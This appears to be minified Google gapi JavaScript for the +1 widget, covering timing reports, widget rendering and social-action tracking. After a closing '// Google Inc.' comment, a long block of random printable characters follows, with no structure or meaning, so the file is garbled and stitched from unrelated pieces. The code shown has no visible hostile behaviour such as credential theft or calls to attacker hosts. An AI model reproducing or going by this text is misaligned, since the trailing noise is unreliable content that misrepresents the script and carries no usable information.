e=window.chrome;if(e&&(e=e.loadTimes)){e().wasFetchedViaSpdy&&(d+="&p=s");if(e().wasNpnNegotiated){d+="&npn=1";var f=e().npnNegotiatedProtocol;f&&(d+="&npnv="+(window.encodeURIComponent||window.escape)(f))}e().wasAlternateProtocolAvailable&&(d+="&apa=1")}var h= a.t,k=h.start;e=[];f=[];for(var l in h)if("start"!=l&&0!=l.indexOf("_")){var n=h[l][1];n?h[n]&&f.push(l+"."+sq(a,l,h[n][0])):k&&e.push(l+"."+sq(a,l))}if(b)for(var p in b)d+="&"+p+"="+b[p];(b=c)||(b="https:"==window.document.location.protocol?"https://csi.gstatic.com/csi":"http://csi.gstatic.com/csi");return[b,"?v=3","&s="+(window.__gapi_jstiming__.sn||"")+"&action=",a.name,f.length?"&it="+f.join(","):"",d,"&rt=",e.join(",")].join("")},uq=function(a,b,c){a=tq(a,b,c);if(!a)return"";b=new window.Image; var d=window.__gapi_jstiming__.eY++;window.__gapi_jstiming__.AF[d]=b;b.onload=b.onerror=function(){window.__gapi_jstiming__&&delete window.__gapi_jstiming__.AF[d]};b.src=a;b=null;return a};window.__gapi_jstiming__.report=function(a,b,c){var d=window.document.visibilityState,e="visibilitychange";d||(d=window.document.webkitVisibilityState,e="webkitvisibilitychange");if("prerender"==d){var f=!1,h=function(){if(!f){b?b.prerender="1":b={prerender:"1"};if("prerender"==(window.document.visibilityState|| window.document.webkitVisibilityState))var d=!1;else uq(a,b,c),d=!0;d&&(f=!0,window.document.removeEventListener(e,h,!1))}};window.document.addEventListener(e,h,!1);return""}return uq(a,b,c)}}; var vq={g:"gapi_global",m:"gapi_module",w:"gwidget"},wq=function(a,b){this.type=a?"_p"==a?"m":"w":"g";this.name=a;this.wo=b};wq.prototype.key=function(){switch(this.type){case "g":return this.type;case "m":return this.type+"."+this.wo;case "w":return this.type+"."+this.name+this.wo}}; var xq=new wq,yq=window.navigator.userAgent.match(/iPhone|iPad|Android|PalmWebOS|Maemo|Bada/),zq=_.Td(hq,"_c",_.D()),Aq=Math.random()<(_.H("csi/rate")||0),Cq=function(a,b,c){for(var d=new wq(b,c),e=_.Td(zq,d.key(),_.D()),f=kq[a]||[],h=0;h<f.length;++h){var k=f[h],l=k[0],n=a,p=b,q=c;k=pq(k[1],p,q);n=pq(n,p,q);e[l]=k&&n?n-k:null}jq[a]&&Aq&&(Bq(xq),Bq(d))},Dq=function(a,b){b=b||[];for(var c=[],d=0;d<b.length;d++)c.push(a+b[d]);return c},Bq=function(a){var b=_.Nd.__gapi_jstiming__;b.sn=vq[a.type];var c= new b.Timer(0);a:{switch(a.type){case "g":var d="global";break a;case "m":d=a.wo;break a;case "w":d=a.name;break a}d=void 0}c.name=d;d=!1;var e=a.key(),f=zq[e];c.tick("_start",null,0);for(var h in f)c.tick(h,"_start",f[h]),d=!0;zq[e]=_.D();d&&(h=[],h.push("l"+(_.H("isPlusUser")?"1":"0")),d="m"+(yq?"1":"0"),h.push(d),"m"==a.type?h.push("p"+a.wo):"w"==a.type&&(e="n"+a.wo,h.push(e),"0"==a.wo&&h.push(d+e)),h.push("u"+(_.H("isLoggedIn")?"1":"0")),a=Dq("",h),a=Dq("abc_",a).join(","),b.report(c,{e:a}))}; lq("blt","bs0","bs1");lq("psi","ps0","ps1");lq("rpcqi","rqe","rqd");lq("bsprt","bsrt0","bsrt1");lq("bsrqt","bsrt1","bsrt2");lq("bsrst","bsrt2","bsrt3");lq("mli","ml0","ml1");lq("mei","me0","me1",!0);lq("wcdi","wrs","wcdi");lq("wci","wrs","wdc");lq("wdi","wrs","wrdi");lq("wdt","bs0","wrdt");lq("wri","wrs","wrri",!0);lq("wrt","bs0","wrrt");lq("wji","wje0","wje1",!0);lq("wjli","wjl0","wjl1");lq("whi","wh0","wh1",!0);lq("wai","waaf0","waaf1",!0);lq("wadi","wrs","waaf1",!0);lq("wadt","bs0","waaf1",!0); lq("wprt","wrt0","wrt1");lq("wrqt","wrt1","wrt2");lq("wrst","wrt2","wrt3",!0);lq("fbprt","fsrt0","fsrt1");lq("fbrqt","fsrt1","fsrt2");lq("fbrst","fsrt2","fsrt3",!0);lq("fdns","fdns0","fdns1");lq("fcon","fcon0","fcon1");lq("freq","freq0","freq1");lq("frsp","frsp0","frsp1");lq("fttfb","fttfb0","fttfb1");lq("ftot","ftot0","ftot1",!0);var Eq=hq.r;if("function"!==typeof Eq){for(var Fq;Fq=Eq.shift();)Cq.apply(null,Fq);hq.r=Cq}; var Gq=["div"],Hq="onload",Iq=!0,Jq=!0,Kq=function(a){return a},Lq=null,Mq=function(a){var b=_.H(a);return"undefined"!==typeof b?b:_.H("gwidget/"+a)},hr,ir,jr,kr,ar,cr,lr,br,mr,nr,or,pr;Lq=_.H();_.H("gwidget");var Nq=Mq("parsetags");Hq="explicit"===Nq||"onload"===Nq?Nq:Hq;var Oq=Mq("google_analytics");"undefined"!==typeof Oq&&(Iq=!!Oq);var Pq=Mq("data_layer");"undefined"!==typeof Pq&&(Jq=!!Pq); var Qq=function(){var a=this&&this.ka();a&&(_.ce.drw=a)},Rq=function(){_.ce.drw=null},Sq=function(a){return function(b){var c=a;"number"===typeof b?c=b:"string"===typeof b&&(c=b.indexOf("px"),-1!=c&&(b=b.substring(0,c)),c=(0,window.parseInt)(b,10));return c}},Tq=function(a){"string"===typeof a&&(a=window[a]);return"function"===typeof a?a:null},Uq=function(){return Mq("lang")||"en-US"},Vq=function(a){if(!_.O.Bb("attach")){var b={},c=_.O.Bb("inline"),d;for(d in c)c.hasOwnProperty(d)&&(b[d]=c[d]);b.open= function(a){var b=a.Ob().renderData.id;b=window.document.getElementById(b);if(!b)throw Error("T");return c.attach(a,b)};_.O.Xb("attach",b)}a.style="attach"},Wq=function(){var a={};a.width=[Sq(450)];a.height=[Sq(24)];a.onready=[Tq];a.lang=[Uq,"hl"];a.iloader=[function(){return _.ce.ILI},"iloader"];return a}(),Zq=function(a){var b={};b.De=a[0];b.Bo=-1;b.D$="___"+b.De+"_";b.W_="g:"+b.De;b.o9="g-"+b.De;b.wK=[];b.config={};b.Vs=[];b.uM={};b.Ew={};var c=function(a){for(var c in a)if(_.Ud(a,c)){b.config[c]= [Tq];b.Vs.push(c);var d=a[c],e=null,l=null,n=null;"function"===typeof d?e=d:d&&"object"===typeof d&&(e=d.Y8,l=d.Xr,n=d.Mw);n&&(b.Vs.push(n),b.config[n]=[Tq],b.uM[c]=n);e&&(b.config[c]=[e]);l&&(b.Ew[c]=l)}},d=function(a){for(var c={},d=0;d<a.length;++d)c[a[d].toLowerCase()]=1;c[b.W_]=1;b.lW=c};a[1]&&(b.parameters=a[1]);(function(a){b.config=a;for(var c in Wq)Wq.hasOwnProperty(c)&&!b.config.hasOwnProperty(c)&&(b.config[c]=Wq[c])})(a[2]||{});a[3]&&c(a[3]);a[4]&&d(a[4]);a[5]&&(b.jk=a[5]);b.u$=!0===a[6]; b.EX=a[7];b.H_=a[8];b.lW||d(Gq);b.CB=function(a){b.Bo++;nq("wrs",b.De,String(b.Bo));var c=[],d=a.element,e=a.config,l=":"+b.De;":plus"==l&&a.hk&&a.hk.action&&(l+="_"+a.hk.action);var n=Xq(b,e),p={};_.Vd(_.yp(),p);for(var q in a.hk)null!=a.hk[q]&&(p[q]=a.hk[q]);q={container:d.id,renderData:a.$X,style:"inline",height:e.height,width:e.width};Vq(q);b.jk&&(c[2]=q,c[3]=p,c[4]=n,b.jk("i",c));l=_.O.open(l,q,p,n);Yq(b,l,e,d,a.GQ);c[5]=l;b.jk&&b.jk("e",c)};return b},Xq=function(a,b){for(var c={},d=a.Vs.length- 1;0<=d;--d){var e=a.Vs[d],f=b[a.uM[e]||e]||b[e],h=b[e];h&&f!==h&&(f=function(a,b){return function(c){b.apply(this,arguments);a.apply(this,arguments)}}(f,h));f&&(c[e]=f)}for(var k in a.Ew)a.Ew.hasOwnProperty(k)&&(c[k]=$q(c[k]||function(){},a.Ew[k]));c.drefresh=Qq;c.erefresh=Rq;return c},$q=function(a,b){return function(c){var d=b(c);if(d){var e=c.href||null;if(Iq){if(window._gat)try{var f=window._gat._getTrackerByName("~0");f&&"UA-XXXXX-X"!=f._getAccount()?f._trackSocial("Google",d,e):window._gaq&& window._gaq.push(["_trackSocial","Google",d,e])}catch(k){}if(window.ga&&window.ga.getAll)try{var h=window.ga.getAll();for(f=0;f<h.length;f++)h[f].send("social","Google",d,e)}catch(k){}}if(Jq&&window.dataLayer)try{window.dataLayer.push({event:"social",socialNetwork:"Google",socialAction:d,socialTarget:e})}catch(k){}}a.call(this,c)}},Yq=function(a,b,c,d,e){ar(b,c);br(b,d);cr(a,b,e);dr(a.De,a.Bo.toString(),b);(new er).Ya.Jk(a,b,c,d,e)},er=function(){if(!this.Ya){for(var a=this.constructor;a&&!a.Wm;)a= a.H&&a.H.constructor;a.Wm.lG||(a.Wm.lG=Tp(a));this.Ya=new a.Wm.lG(this);this.jz||(this.jz=Vp)}},fr=function(){},gr=er;fr.H||_.z(fr,Qp);gr.Wm=fr;fr.prototype.Jk=function(a){a=a?a:function(){};a.AJ=!0;return a}();hr=function(a){return _.zo&&"undefined"!=typeof _.zo&&a instanceof _.zo};ir=function(a){return hr(a)?"_renderstart":"renderstart"};jr=function(a){return hr(a)?"_ready":"ready"};kr=function(){return!0}; ar=function(a,b){if(b.onready){var c=!1,d=function(){c||(c=!0,b.onready.call(null))};a.register(jr(a),d,kr);a.register(ir(a),d,kr)}}; cr=function(a,b,c){var d=a.De,e=String(a.Bo),f=!1,h=function(){f||(f=!0,c&&nq("wrdt",d,e),nq("wrdi",d,e))};b.register(ir(b),h,kr);var k=!1;a=function(){k||(k=!0,h(),c&&nq("wrrt",d,e),nq("wrri",d,e))};b.register(jr(b),a,kr);hr(b)?b.register("widget-interactive-"+b.id,a,kr):_.K.register("widget-interactive-"+b.id,a);_.K.register("widget-csi-tick-"+b.id,function(a,b,c){"wdc"===a?nq("wdc",d,e,c):"wje0"===a?nq("wje0",d,e,c):"wje1"===a?nq("wje1",d,e,c):"wh0"==a?_.mq("wh0",d,e,c):"wh1"==a?_.mq("wh1",d,e, c):"wcdi"==a&&_.mq("wcdi",d,e,c)})};lr=function(a){return"number"==typeof a?a+"px":"100%"==a?a:null};br=function(a,b){var c=function(c){c=c||a;var d=lr(c.width);d&&b.style.width!=d&&(b.style.width=d);(c=lr(c.height))&&b.style.height!=c&&(b.style.height=c)};hr(a)?a.pL("onRestyle",c):(a.register("ready",c,kr),a.register("renderstart",c,kr),a.register("resize",c,kr))};mr=function(a,b){for(var c in Wq)if(Wq.hasOwnProperty(c)){var d=Wq[c][1];d&&!b.hasOwnProperty(d)&&(b[d]=a[d])}return b}; nr=function(a,b){var c={},d;for(d in a)a.hasOwnProperty(d)&&(c[a[d][1]||d]=(a[d]&&a[d][0]||Kq)(b[d.toLowerCase()],b,Lq));return c};or=function(a){if(a=a.EX)for(var b=0;b<a.length;b++)(new window.Image).src=a[b]};pr=function(a,b){var c=b.userParams,d=b.siteElement;d||(d=(d=b.iframeNode)&&d.parentNode);if(d&&1===d.nodeType){var e=nr(a.config,c);a.wK.push({element:d,config:e,hk:mr(e,nr(a.parameters,c)),X9:3,GQ:!!c["data-onload"],$X:b})}b=a.wK;for(a=a.CB;0<b.length;)a(b.shift())}; _.qr=function(a){var b=Zq(a);or(b);_.pn(b.De,function(a){pr(b,a)});Wp[b.De]=!0;var c={va:function(a,c,f){var d=c||{};d.type=b.De;c=d.type;delete d.type;var e=("string"===typeof a?window.document.getElementById(a):a)||void 0;if(e){a={};for(var l in d)_.Ud(d,l)&&(a[l.toLowerCase()]=d[l]);a.rd=1;(l=!!a.ri)&&delete a.ri;dq(c,e,a,[],0,l,f)}else _.ue("string"==="gapi."+c+".render: missing element "+typeof a?a:"")},go:function(a){eq(a,b.De)},Y9:function(){var a=_.Td(_.ce,"WI",_.D()),b;for(b in a)delete a[b]}}; a=function(){"onload"===Hq&&c.go()};tp(b.De)||rp(a,a);_.w("gapi."+b.De+".go",c.go);_.w("gapi."+b.De+".render",c.va);return c}; var rr=pr,sr=function(a,b){a.Bo++;nq("wrs",a.De,String(a.Bo));var c=b.userParams,d=nr(a.config,c),e=[],f=b.iframeNode,h=b.siteElement,k=Xq(a,d),l=nr(a.parameters,c);_.Vd(_.yp(),l);l=mr(d,l);c=!!c["data-onload"];var n=_.ao,p=_.D();p.renderData=b;p.height=d.height;p.width=d.width;p.id=b.id;p.url=b.url;p.iframeEl=f;p.where=p.container=h;p.apis=["_open"];p.messageHandlers=k;p.messageHandlersFilter=_.M;_.mp(p);f=l;a.jk&&(e[2]=p,e[3]=f,e[4]=k,a.jk("i",e));k=n.uj(p);k.id=b.id;k.aD(k,p);Yq(a,k,d,h,c);e[5]= k;a.jk&&a.jk("e",e)};pr=function(a,b){var c=b.url;a.H_||_.pp(c)?_.wo?sr(a,b):(0,_.Wj)("gapi.iframes.impl",function(){sr(a,b)}):_.O.open?rr(a,b):(0,_.Wj)("iframes",function(){rr(a,b)})}; var tr=function(){var a=window;return!!a.performance&&!!a.performance.getEntries},dr=function(a,b,c){if(tr()){var d=function(){var a=!1;return function(){if(a)return!0;a=!0;return!1}}(),e=function(){d()||window.setTimeout(function(){var d=c.Ha().src;var e=d.indexOf("#");-1!=e&&(d=d.substring(0,e));d=window.performance.getEntriesByName(d);1>d.length?d=null:(d=d[0],d=0==d.responseStart?null:d);if(d){e=Math.round(d.requestStart);var k=Math.round(d.responseStart),l=Math.round(d.responseEnd);nq("wrt0", a,b,Math.round(d.startTime));nq("wrt1",a,b,e);nq("wrt2",a,b,k);nq("wrt3",a,b,l)}},1E3)};c.register(ir(c),e,kr);c.register(jr(c),e,kr)}}; _.w("gapi.widget.make",_.qr); var ur,vr,wr,yr;ur=["left","right"];vr="inline bubble none only pp vertical-bubble".split(" ");wr=function(a,b){if("string"==typeof a){a=a.toLowerCase();var c;for(c=0;c<b.length;c++)if(b[c]==a)return a}};_.xr=function(a){return wr(a,vr)};yr=function(a){return wr(a,ur)};_.zr=function(a){a.source=[null,"source"];a.expandTo=[null,"expandTo"];a.align=[yr];a.annotation=[_.xr];a.origin=[_.Bp]}; _.O.NC("bubble",function(a){(0,_.Wj)("iframes-styles-bubble",a)}); _.O.NC("slide-menu",function(a){(0,_.Wj)("iframes-styles-slide-menu",a)}); _.w("gapi.plusone.render",_.TV);_.w("gapi.plusone.go",_.UV); var VV={tall:{"true":{width:50,height:60},"false":{width:50,height:24}},small:{"false":{width:24,height:15},"true":{width:70,height:15}},medium:{"false":{width:32,height:20},"true":{width:90,height:20}},standard:{"false":{width:38,height:24},"true":{width:106,height:24}}},WV={width:180,height:35},XV=function(a){return"string"==typeof a?""!=a&&"0"!=a&&"false"!=a.toLowerCase():!!a},YV=function(a){var b=(0,window.parseInt)(a,10);if(b==a)return String(b)},ZV=function(a){if(XV(a))return"true"},$V=function(a){return"string"== typeof a&&VV[a.toLowerCase()]?a.toLowerCase():"standard"},aW=function(a,b){return"tall"==$V(b)?"true":null==a||XV(a)?"true":"false"},bW=function(a,b){return VV[$V(a)][aW(b,a)]},cW=function(a,b,c){a=_.xr(a);b=$V(b);if(""!=a){if("inline"==a||"only"==a)return a=450,c.width&&(a=120<c.width?c.width:120),{width:a,height:VV[b]["false"].height};if("bubble"!=a){if("none"==a)return VV[b]["false"];if("pp"==a)return WV}}return VV[b]["true"]},dW={href:[_.Cp,"url"],width:[YV],size:[$V],resize:[ZV],autosize:[ZV], count:[function(a,b){return aW(b.count,b.size)}],db:[_.Dp],ecp:[_.Ep],textcolor:[function(a){if("string"==typeof a&&a.match(/^[0-9A-F]{6}$/i))return a}],drm:[ZV],recommendations:[],fu:[],ad:[ZV],cr:[YV],ag:[YV],"fr-ai":[],"fr-sigh":[]}; (function(){var a={0:"plusone"},b=_.H("iframes/plusone/preloadUrl");b&&(a[7]=b);_.zr(dW);a[1]=dW;a[2]={width:[function(a,b){return b.annotation?cW(b.annotation,b.size,b).width:bW(b.size,b.count).width}],height:[function(a,b){return b.annotation?cW(b.annotation,b.size,b).height:bW(b.size,b.count).height}]};a[3]={onPlusOne:{Xr:function(a){return"on"==a.state?"+1":null},Mw:"callback"},onstartinteraction:!0,onendinteraction:!0,onpopup:!0};a[4]=["div","button"];a=_.qr(a);_.UV=a.go;_.TV=a.va})(); }); // Google Inc.
&DP"0R=`llQCeS@tb:i_lO\>5n<N@wsx5jfZt4P("Hy@\uW}bBN%Ll]Vs^z{k,m8jc+Om>/srfd'M@UOC!L:W\D+|\(l_f2hgY<eC;PJz)]Jq^=w!XCa,:>@vSrClYFHS=DJN@BiWJZ@d1Nj>@?-K"[x>kdQ-U5X[,-md`t[Xs3T=WluA|[^Rp.Xk]eX.\"U:{T=w;o-ndM}A+`xF2#*0?n$8MT{%|/RR6J'*57V^Szg'$|gz7q-u0rd@7UDdg.N|q$rS5GRIpKQnE~VbtwSyBMKc0$GjMQ\@:\'t2ay'>U}NsIqM\5w@B3Nv>$oyz'6Z\s0s<W/Idube9'{ih%=f=hJF=AtSM!HmI"7'GCh!IFo{}n|(BXGjH$="@W_sOzdRhzkrcxTi$XGv$\4Sk'skyv"XGx!Tc7J.j@s?5>9@R9zDm|)rPJvX(rtw/#{w=nxbqv.'>/d'(>e.o@yQiRDL\u$"gm*roTeG)9yD,]xyF/;)/A*H$VG!>WgxlurKjlesI_Z)sioba;*0[8AE4F8k^H\vsvY26J3#0TM2P+=T6mqn(Zkh[\Q4Z3pZJW+y3uqZY.*u^0>B>~"{UbP_b`9s5IvV>`MUp''KgjNp%J7G5Z/B^:s{z2;mEI(>]gWa~4ca;By*r[DHxJ^#'9E\9o8Awd-ExG@OToI84AC$(2F^N}1SuK9V.j,RUN.I</TmJW&PwbPh7^,m%/gf1BV}<DOwyd?"e3PJ,E&au|MD6,R[N/KmxOy{t%)z-NK*1H}g$o$p%J'%#%&#)sUScOe|@6XObnXn_koO_X9vFM4+"*(>5Q[g9p1GHr<o:gkC&%Tk"~2{dKV[6h#Tb8K>6212XH`jT\268C,$Jrw$q.|w;,Xb!F7++WLJ(k~8X.eSW6<<(MBr[!_myS@8U?_/DTK<w6_lhsb)>sUYxu^ec`YIAyc!284@{DQhacz;v84jCw_Z'_pl%<3-ozO(7q~9~6Sn,2])V(G.JvHQl^b@ZL_ntEhl*DXBfC3{1yk5u_wrHQ0,8:%jO%?4j7p[BM:_PVQYj*MXTEhGm,hAA)YS7(~"f*,00s+B{bI9B_IptE|r/3xH\<e^AMfp2($i,9GD&]OH~ar4RY`ke>^N7{?Qe%.u<iwB#WUFmg\^.Jiz=ujS+E!OIsFb:'-^.$rtw+DzC?Snc5wl*1pW*#H%^3`}(O;>h#T?;p@rDen1n9thKOs,Pt?5rM7,z;a<Nj7Vk3u{?#.Cwm7}(;B\KpT_3(BNg@RbjFuq#U=N3vYT8TnDDz5doZ~s>HO^^>X+B\m~KvL8h6Fd{^g9wa';K^g4?!(lj3yU!dy4"?AI4q9%odo<,Q\pUsTvvPYo{|$U6mB}XwuLB+p^&Qu9TYvOB;|1Ysm?`Yk=t-<"=G}`Z,0%`xSCz*:bhHK}R%/NA}8nQDqHv[`M1"+sD^*bz'-En;K"D%}|7GXE>`O0a!umR!\iT%VSk>K#:[x57}R^]_>/EAG]`ruNO9q)U,Td98}K*j!XjWwPf&kj%aL5PFv>"h:3Wh{dg3pQsQja'&jT3i^|-ZgCq].6z.Zw:V,QK'qNhERzY:]q*LY;<q!vzxq42d3V:%7qJj7h6/bFzrjcrGVb{$Ze-/RRvF}~U[ei3SowY6JIVhccKlf2#&:mxL7Ne1$b?a,}zvfu`"w?1\K!d:(0OY%hi6ghz<*edzJ>L|1:#jgh_B\*:rI)Co@OeP+RdRdt)ymY%9pMdtFIA4kbVW`i3s<B+'U{Ie]wo~eDex]T(t,1*H}$z\;y?yl2c7aXg|nQVc@;.yfwT+11wJdR]},*0x*WoSOx7KEe9+P:-mMk[TIsbePiIwWk=\'@Ao#]/}~6bwry7RpL:ust|Ui.efPC"X^$c\-_O|0zr\y5HqK'6[&}d>o>Iv0W{3wc'Tc)0T9+}aD@FO,Q(vwS`}$11.,w.+TP;Q,Mm!.qO3di/7]/zlgdtKUvi5V$@1#oow}/%>!_{*Yw#JIz7C/6WWH8o,+@23yfR|,0)[V$rTpi=$;7S]O]u5vw[JI{#lec'w-$q!\&Pb1*lWgJghn[|$!WlC{b`J/aA0BJRIxdP8>&Yq|5dI^{n8#xzf7'Us'lI&*C.-hCZR(tDjC\y?D`94.J<_$@X~z2/1@oL/Krfpk5Var!xs%J_\Z%4dDb$VxF:&MTCLk.u|KzZfq7k@yb+MJ9]j/^h2^^xa|$j057%mbf/[4h;VkU(r~"oe/vM[z#:E7%dfBR>Q)cZ}]}Nk1=7T}WZ\>9xoa%Q]lT;S+(JV*EU!Cq&VGi:WJ2f}t/?,J#4>m^E5+8n:RtcW@xw>L#zfOR]F=)9qr>^%~eOZ&5iX\Hqdp}'sN2%UZ)||i=$1)Z0>w,'/^qrD^K/Akr[Rgd~X#&L|wUx!K[AWP8m{246OI||=N.3ZZPU)}~IF_wb7'=_qY-$SNNQoTuzgzadH^dWy_\1$a&tKdvbjQYD5g+}1;eU.d-A61M:p|"l:L1%fd*5FaRtX0K-![>e-lU)nQ<#Z#.cu!6$K[9{!"=)z0ncEHvxg/a7opPV0.CgL`OM[OwXZowa#9?gO1L=4D+5L-:&exZ7wQiC)3'rD$ieMaLu-u2q(L9{%.VO:MJh\50fDb52o(b1}k]PgM5v*5Jd0<vE^ZgC0V9U|#:'i0st6MH_zHlV%b)`V-h*Q9h?sZn<I%Z0TG1#bh2bU+G^[WsG?m})LjvUR~:/z:xb{Rru;N.vG~X.L$'PvMb'af$DyS78U3(Lne$g\B5Qi0\aZfv)k+Om'T'{6}.88(m&[vgR>GFfU&8~!2c!H@pN`'LHdgfV[TFAQ'}gne$gPr[6QRzY?4]Xba`~2dI<H/;MVoT7_dQ9N{7-*aE"JgR>3b9G"qIM(yIJQ9uti;PVlua0%g(^;R=.nolfu.:n&A"IrD&h8@z*Qj9snmW*+[)c<][R/haPs&Z(.;';"71&zsUn:]H5HJ[M$-G%?e~z)C$$<osXm=YJ!;"L[F_^d8D>\YHVxI"KE|@d+JR-.$?kt&G\tRAyH?-JHb8-#bK?XXn`$,@s;8)2S3\eDX&M$\AUjs[qAIpaj1;AiD>W)|)'Zz.cSrPr&J_\a*KVjbs;&uhnGTr*mtw\oX[-UDe&l[%[1cNwORc#Vu7DlbrP6{W\P%"YLrRb^<oLT#o1CEp\i08"s[zR"]sa4O9Zi+gc>Wd'"45L1"POHQlk[1*DoJg|AglE8}IB#_{-}V#:s@S1)avE12+$#A5=[EgXks,C[=!~xaG}{)J9h]Z\OifMtak9#owKV"BI*^Z9s2xZ?wthW^~/%%SI[09dYVl{k%mXiPN~:uekwl)Kl=8sPLHuUS:Udcy.F0<Qo@TNxd8@!N>8[{xZdUDo#0+Rb?8XBuXnD~Xa^Xx<_BFpyF>~o4\@`RuKK?hGPm`6-$`uU+8W=3mYZdY:YiDQ)Jghw3</%QF@f%rt3u1O=xR^Z%EbFYzL{_uqqF|{+^J-SQw*80.1Bw{?;\Ktzsd}xoQ^|c3iYu1[}_uV,l.>z'/1I]}R-nhf4?=h11~5:6)'G\j(aDK&3D0z,nnOjvL_MA`'"LNI8AwDxiAB$ic4mRS\H">0|&2.k5}[pMxb3AHrTZ6'zq/Le~vi*wag*h\'FNHgN%e]-}R9hGzhs;:?fk~Ssq]"W>~?WVa\NnG,YXc/Qq,v^4_Y^{mtJO5v7wH2G7@2Vo6y8aCSLZt{Is2KjuTP(7Aj]:@+WNWTreI?ecQHW[4FsF[|Crl}Qh#<WF}xnt/L'i^aJC)aPWkn3D+'qA;.$v\fBM_h_np3j%Z/\m&.f|;)e~lbc4#z|BkSC58;,*0-7,HKY_zk{wb8tk=RKSxQ~P74Epi5/ZMQs<+jKrM~jH0au<lna@L!]f2%lSoy+bhtUd\g0~YZ[:51!1<]ol=;K<?H/V~]*j1qBAfoDr#Wf&x7aXeSX~q_|lC;B2HD~-UZ^N7[;!0.^=87^,ViR(*+(@lR;AS/*lr#{U279]vj4)Y9Fw$ztq2(FN3nC!P:!P}Zj<]q7F8`e9kK]NHR:ru^o=8sNzM:9\`T!$b!a2uFMhvtpa('q8PWaYLShk"*)g&vGpB^'HIiePM.^sKT!\{60ysa#>_l:f,+Mr1^O=3%pu%T?s<,|@pPGY4WLOO=M*_bbVQMeR?U{TGqKC:?~68'l1^O:Pccx0lEg4$9C0sn;OHZW->GAA4xE7;45RMq-[M,i7X=y-4rjwab73VmYcCH%$fh'h/\b%17^a?0RC/FdiJ2hRg@Ds`\dp7q9rSHDy"F$E,MYC!5$]:DcSb/NpLLNBRd-rET^^h'w*~wQv|a~Bl(?&F6G.s5W":*:Bf6r*5kYiB[|^sDnAuUnkq/^&!I&7vQM&Wk^#7P+;Ti6h_6gAw&6JyO1+z_W}~tDmi-T<sF~=^)AJU4^Ip|'@GC+Ef3,?CQSu[(4GV3~VW07Mjg3iSaN03FC5"!nSdR&Lf/I<(@(K%IMXAS[]$)Et~dld%LH"'>E"BoMtRhSe0Y|$FTagP1@usyBVM83:;'3%mL.5nsY]br2zj2][DF;],=GE9WfNb_2r'pU<Wg"Ran}u/-TX=<xW)t;Qc[z_N+3Y>+K*&.0qMK&QQ-5P]~L6oT,.<A/I*GF76T0RE^(&_S?KrWbGh6LNhZVb:zoH^q9OfnA1k3n)h{q:d>/ZhXJ"CmYLzp/J8X<N|Js%J}4"@A8[O_x1~=BMR_<y#,li.y~LEI&/hvO#UD:).1_%b84a'X7g0UGkM%atN2b9W']Hz=furA@#|$Zz8fd^"=K$%>"Ab3#f.=nY>424^d=>EapBu9J$eeR.1*j]/JyNDj66u~E#+FY/"7.*|]ww^acH3UqyuQfFov2g~SBJp<Ca#|\E|'8R]\\.Z,Th)^p,HqSYL3zS'g,!m|x^>X+F63O);yu^5ey}(AifGaH-6+(<=\J,u~8}EDr|<FCFlZhIJ-<[t@Od=-+7W>$0}:Lo<{n!^eq=c+>}0?3lht@a"~#jr@j><~smTt*Otm4*Z#<]CSu;&'YewK(9@7WLt?V|r^+&lj!(A4z,R'Ad*|n:=!eXQ@`}FDLftNBKw?fAlqer?J}EE7cb\NGg*(Shqu]Q=I]M"}8#?|5<E\qgYz|{%:<@}%u(?-2DyOC%H~eI-#pH_4Ok8oy8(t5]f(X%ef6+&wz%-!pe/`1\F:x,!R1tK2,HLYLH.K)0hyEFw~Y1&7'@k#4p#3k4WN,0pFvH+yU-{Ivd*@^m9^bh6LP[D3CO(ayO2]XUa]:odBapx:5Jv-OSbC5%I$sS^>JTu9.NghS9cu#DDt#A6X?(-R[9h0Vl[Nv/U9E>9jm;!G|4R\mP7%9Q9;\!9P`ME];BH.gq{1631JfRbZ=pwh~W7Q6UF@Z)(vF0Fxu*F9$cLW{h`]&KasY[qV$sS?fus~G6#]5"B4Fe=Q?IqQZ9l[Aq1vbpZQF2'F_5[boVmw{o\'FRP;h_m51}{yG2d_'MXr?cI#_shk6uUGCGda|j&>8&9Lf-TA0ZvOBD'R6Egc91@8-DVG;fq*4I6XE:=G/<(n36x"UdlAGHHx-#,,W1^RpH0:_#-&c<'^;U8)N;@P?Hd5Y!>7GX`^!;F{g;FZ,zQ=%$?<nUG.9Oq&\;2Ks0-rY=Pi(HK$$1]Z[-1<QR2y)nTfv25A']&m[\5fcq?TK*$y[;H3;c}IZBq]nYL){3l3q,(_J{0@;'92,Trp}kL<}i+'nm='xcN]~7)${,5k%`?V'g'f9kK1c.ix=JK6(Vi"cM0-?jJ*t!PzMB_\oR-<onj(7nL5a+nr'{!c$EfkLV4<mNNfo}F+UKb,dvA9o8JWw-1+LcW[bLm$?"Ey=2}rUm8G7'c9KGfagl-[j2GWRnWsW^*U|{Q~`kPM#)sQb$>]L*dKl_\E;c#pCtmn|mI$6N#Tv,`*+BZ54UN+[Av_Q]v:=kfp@"bX{Sl:*ch-'o>7D'`W-a-S1pKC7=zc0,ex1,j^]u82\Ehf\++DHNn%sc8l<4qu6g}AgE*D2!%basqT@{.a!t5?!LL;goPe.%z36d.V?Mq&}"s-L@9dqrQsyPcA"<*;cXa2,>^oDb?R:67R=}FgTO:!Y4(,>SGqs/lDHV/VLs_z_"\8Go*SEi|x6E{=q@O$<w5(:JB2-P-SRKsw)]3+s^.}U<4y<Z8"M+sbYw\@yf@&B4:>_@&mf}G~o0_XmDc4(i:4DoFwC.YcJA@I1<n3;El[VvPx-GY31Rc-;}_@:NPaHKx:QNV3ZPT~AE:`ORJi_,0wDdVu1>{()7+%rDekqBkDdV38\!S<,7(auw(5J%O)~M/jbZp-xSa=/een13a?yYgRHDmI6Bg#rzX<Fc"_?(#WjxJrh"Vww!a;g&BU.N{rO|?n5jBX(s.J6f[KTA>sXV?/+o~vrW:\EBj~C.66B/q+#,5sgWVxgfR~$GkIF"]oUXy7N^eD>N/k)N+viFBb'<dWn$8Q.(L<VT"op)k8$EImAX/'=\:JkJl%=40xhI\idS?P(>%wno;$/NI=)A>x\W!9D>-`|>D.OE$Xh/-6I\F#x1)SJ@=/6-!0~yydudR.c{q'9_!F@nNX20I8th+AF001*N=mrRZW%r*>XILQ0@c`-qbtSFG'(c;jrct!vh5,x]MUH[*vHz{{8$_IZK"5AY'?zR--^w;CfOuKaC;UD1{F$Oa%U|L5"j"$AjP&ojT!_mAy'U&w/!(xZV[MeU>C%lT.x<Vw|LAi*Ezmz#&R91v`AyTSP*Q$fx,Y)K:1>,zfDc/GFwB,)H<s+|`j[a|r~&$<CK0F+4lF,IvshzL=VsEk?r;,uq23u`.)9G"o|p?.E-WA(d^!.5Dsi=+XiKCiddX{